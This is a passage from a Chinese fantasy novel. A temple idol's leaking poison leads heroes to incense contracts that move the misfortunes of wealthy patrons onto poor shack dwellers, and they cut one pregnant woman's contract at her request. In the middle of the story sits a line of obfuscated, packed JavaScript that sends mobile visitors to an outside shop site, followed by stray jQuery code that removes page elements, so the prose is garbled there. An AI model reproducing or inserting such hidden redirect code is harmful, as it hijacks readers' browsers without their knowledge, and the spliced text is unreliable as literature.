第三日，城南的长明庙送来一尊泥菩萨。
四名轿夫把神像抬到客栈门前时，天正闷得厉害。乌云低伏在屋脊上，蝉却叫个不停。泥像约有半人高，外罩新刷的金漆，嘴角微笑，双眼细长。奇怪的是，神像脚底不断往外渗水，滴在青石上，带着一股和无灯寺相同的陈香味。
抬轿的庙祝说，昨夜长明庙香案无故倒转，神像面朝墙壁，今早再扶回来，泥胎便开始说话。
“它说什么？”周迟问道。
庙祝擦了擦额汗：“说谁记名字，谁家就会替死人受灾。”
客栈里原本帮忙抄录的几人顿时停笔。
严婆冲出来，举起拐杖便要砸像：“十二年前不救人，如今还想吓活人！”
明寂抬手拦住的不是她，而是神像。就在拐杖将落未落时，泥胎嘴角裂开一道细缝，一股黑水从里面喷出，直取严婆双眼。
江照夜的剑鞘从旁横过，将黑水挡开。水落到地上，几只蚂蚁瞬间翻白。
“不是昨夜那只夜叉。”江照夜说道。
“是转厄印。”明寂看着泥像底座，“无灯寺的旧印裂后，有人急着把留在那里的东西挪走。”
泥胎内部传来细细哭声。江照夜看见数十条灰线从神像穿出，一部分通向城南，一部分却远远伸向州城。每条线都缠着一点香火金色，乍看像善愿，细看才发现线的两端轻重完全不同：一端是富户求平安的名字，另一端只有“疫亡无嗣”“流民”“无籍者”之类模糊称呼。
有人用香火把灾厄从有名有姓的人家，转给了没有能力追问的人。
严婆的拐杖停在半空。
“砸不砸？”她问道。
“现在砸，里面的厄会沿旧线落出去。”明寂回答，“落到谁身上，尚不清楚。”
庙祝脸色煞白：“这神像是孟家三年前捐的。”
众人赶往城南。
长明庙建得比县衙还阔，山门外悬着数百盏油灯，白日也不熄。香客将写有全家姓名的红绸系在灯下，风一吹，名字便在火光中翻动。庙后则是一片低矮棚屋，住着修堤流民和无户籍的矿工家眷。棚顶晒不着太阳，泥沟终年积水，病气比城中重得多。
江照夜顺着灰线走进最里一间棚屋。
屋里躺着一个年轻女人，腹部高隆，已经怀胎八月。她叫桑娘，丈夫死在伏牛矿下，矿籍被销，自己也因此成了“无嗣矿户”。三年来，她每逢长明庙举行祈福大醮便会病一场；头一年瞎了左眼，第二年孩子小产，今年开始无故咳血。
周迟诊过脉，脸色一点点沉下去。
“她的脉象不是寻常病。”周迟说道，“每月初一、十五突然衰败，又会自行缓回，像有人定时从她身上取走生气。”
桑娘听见众人来意，下意识护住腹部。
“庙里每月给我三斗米。”桑娘说道，“他们说住在灯影下，能替亡夫积福。”
“有没有让你按过手印？”江照夜问道。
桑娘从枕下取出一张香契。她不识字，只记得庙祝说按印以后，孩子出生便能有县籍。明寂展开纸，契上写的却是自愿承受香主灾厄，以换取供养。
“我没听过这些话。”桑娘说道。
她把三年来领粮的木筹也找出来。每枚木筹正面刻“慈济”，背面却有一个极小的数字。周迟按发病月份排列，数字恰与长明庙香主祈福的次序相合。桑娘头一年失明那夜，孟家长女正为眼疾点过七日灯；她第二次小产时，城北盐商求的是独子平安。病痛没有凭空消失，只从有人付得起香油钱的宅院，沿着木筹落进没人会追问的棚屋。
棚外住户听见动静，陆续围到门口。一个老人认出自己的筹号，转身便吐；另一个妇人却把筹藏进怀里，怕庙祝知道以后断她口粮。真相没有让所有人立刻同仇敌忾，反而先照出每个人脚下不同的深坑。
阿石蹲在门边，把木筹上的号逐个拓在药箱纸上。他的父亲也曾领过矿上发的平安筹，只是式样不同。少年拓到最后，手指沾满炭黑，一句话都没有说。江照夜看见他腰间那枚煤核被攥得发亮，便没有催问伏牛矿的旧事。一个人肯带路，不等于已经愿意把所有伤口摊开。
棚屋外的香灯在无风处忽然齐齐晃动。
城中一户孟姓宅院正在此时燃起高香。灰线骤然绷紧，桑娘痛得弓起身体，嘴角涌出血沫。周迟立刻施针，江照夜则握住香契，想一剑斩断。
剑尖将落时，她停住。
昨夜明寂问过的话又回到耳边：这一剑是谁要的？
桑娘不知道自己签了什么，却知道每月三斗米，也盼着孩子得到县籍。若只斩契，庙里很可能立刻停粮；若不斩，她与腹中孩子会继续替别人受灾。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929938|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
江照夜不能把自己认定的“自由”扔给她，再让她独自饿死。
“桑娘，这契可以断。”江照夜在床边蹲下，“断后庙里可能不给粮，也可能不认孩子县籍。我们正在查别的受契者，但不能保证县衙立刻管。你要现在断，还是等先备好粮和住处？”
桑娘疼得满头冷汗，仍听清了每一句。
“不斩，会怎样？”桑娘问道。
“下一次转厄可能要你的命。”周迟回答，“也可能先伤孩子。”
桑娘闭上眼。屋外灯火投进来，在她失明的左眼上落了一层橙红。她摸着腹部，过了很久才说：“现在断。三斗米我可以再想办法，孩子死了，县籍给谁？”
她说完，又抓住江照夜袖口：“可不是只救我。隔壁阿婆也按过印，西头还有两个孩子。你们不能斩完我的就走。”
“好。”江照夜回答，“我们一起找。”
她没有再说“我会救所有人”。
桑娘愿意作证，条件便与昨夜不同。明寂以铜铃压住灰线回流，周迟护住心脉，江照夜用左手握剑，对准契上桑娘的指印。
无名铁剑刺穿纸面。
金灰相缠的细线裂开，没有涌入她体内，而是化作一缕焦烟从窗缝逸出。与此同时，长明庙外一盏写着孟氏姓名的油灯骤然熄灭。孟宅里传来惊呼，原本被转走的三年病厄开始沿香线返回。
江照夜没有觉得痛快。
灾厄回到制造者身上，不代表事情已经结束。庙后仍有几十间棚屋，香契藏在每个人以为能换来活路的承诺里。她站起来时右腿一软，明寂的药杖及时横到旁边。
她自己握住药杖站稳。
明寂没有看她，目光仍在灰线尽头：“城中刚熄了二十三盏灯。”
“二十三户香主？”江照夜问道。
“二十三份契。”明寂回答，“受契的人只会更多。”
长明庙钟声忽然响起。
一下接一下，催促香客闭门。庙祝们开始撕下灯下红绸，守门人则往后院而来。闷了一日的雷终于在云层里炸开，棚屋上方的灯海被狂风吹得东倒西歪。
桑娘撑着床沿坐起，把那张破契攥在手里。
“我认得谁发米。”桑娘说道，“我带你们找人。”
她的声音仍虚弱，不再从泥胎腹中传出。